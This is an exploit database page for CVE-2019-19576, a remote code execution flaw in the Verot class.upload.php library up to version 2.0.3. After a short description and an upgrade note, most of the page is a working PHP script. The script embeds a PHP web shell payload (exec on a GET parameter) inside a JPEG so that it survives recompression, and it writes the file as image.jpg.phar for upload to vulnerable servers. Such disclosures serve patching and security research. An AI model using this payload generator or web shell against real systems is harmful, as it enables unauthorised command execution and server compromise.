header-logo
Suggest Exploit
vendor:
Verot 2.0.3 PHP class
by:
Jinny Ramsmark
9.8
CVSS
CRITICAL
Remote Code Execution
434
CWE
Product Name: Verot 2.0.3 PHP class
Affected Version From: <=2.0.3
Affected Version To: <=2.0.3
Patch Exists: YES
Related CWE: CVE-2019-19576
CPE: a:verot:class.upload.php
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
2019

Verot 2.0.3 – Remote Code Execution

This exploit allows an attacker to execute arbitrary code on the vulnerable system by uploading a malicious image file. The vulnerability exists in the Verot 2.0.3 PHP class, which is used to upload files. The vulnerability is due to insufficient validation of the uploaded file, allowing an attacker to upload a malicious image file containing PHP code, which is then executed on the server.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of the Verot 2.0.3 PHP class.
Source

Exploit-DB raw data:

# Exploit Title: Verot 2.0.3 - Remote Code Execution
# Date: 2019-12-05
# Exploit Author: Jinny Ramsmark
# Vendor Homepage: https://www.verot.net/php_class_upload.htm
# Software Link: https://github.com/verot/class.upload.php
# Version: <=2.0.3
# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
# CVE : CVE-2019-19576

<?php
#Title: jpeg payload generator for file upload RCE
#Author: Jinny Ramsmark
#Github: https://github.com/jra89/CVE-2019-19576
#Other: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19576
#Usage: php inject.php
#Output: image.jpg.phar is the file to be used for upload and exploitation

#This script assumes no special transforming is done on the image for this specific CVE.
#It can be modified however for different sizes and so on (x,y vars).

ini_set('display_errors', 1);
error_reporting(E_PARSE);
#requires php, php-gd
 
$orig = 'image.jpg';
$code = '<?=exec($_GET["c"])?>';
$quality = "85";
$base_url = "http://lorempixel.com";
 
echo "-=Imagejpeg injector 1.7=-\n";
 
do
{
    $x = 100;
    $y = 100;
    $url = $base_url . "/$x/$y/";
 
    echo "[+] Fetching image ($x X $y) from $url\n";
    file_put_contents($orig, file_get_contents($url));
} while(!tryInject($orig, $code, $quality));
 
echo "[+] It seems like it worked!\n";
echo "[+] Result file: image.jpg.phar\n";
 
function tryInject($orig, $code, $quality)
{
    $result_file = 'image.jpg.phar';
    $tmp_filename = $orig . '_mod2.jpg';
    
    //Create base image and load its data
    $src = imagecreatefromjpeg($orig);

    imagejpeg($src, $tmp_filename, $quality);
    $data = file_get_contents($tmp_filename);
    $tmpData = array();

    echo "[+] Jumping to end byte\n";
    $start_byte = findStart($data);
 
    echo "[+] Searching for valid injection point\n";
    for($i = strlen($data)-1; $i > $start_byte; --$i)
    {
        $tmpData = $data;
        for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
        {
            $tmpData[$n] = $code[$z];
        }
 
        $src = imagecreatefromstring($tmpData);
        imagejpeg($src, $result_file, $quality);
 
        if(checkCodeInFile($result_file, $code))
        {
            unlink($tmp_filename);
            unlink($result_file);
            sleep(1);
 
            file_put_contents($result_file, $tmpData);
            echo "[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed\n";
 
            sleep(1);
            $src = imagecreatefromjpeg($result_file);
 
            return true;
        }
        else
        {
            unlink($result_file);
        }
    }
        unlink($orig);
        unlink($tmp_filename);
        return false;
}
 
function findStart($str)
{
    for($i = 0; $i < strlen($str); ++$i)
    {
        if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
        {
            return $i+2;
        }
    }
 
    return -1;
}
 
function checkCodeInFile($file, $code)
{
    if(file_exists($file))
    {
        $contents = loadFile($file);
    }
    else
    {
        $contents = "0";
    }
 
    return strstr($contents, $code);
}
 
function loadFile($file)
{
    $handle = fopen($file, "r");
    $buffer = fread($handle, filesize($file));
    fclose($handle);
 
    return $buffer;
}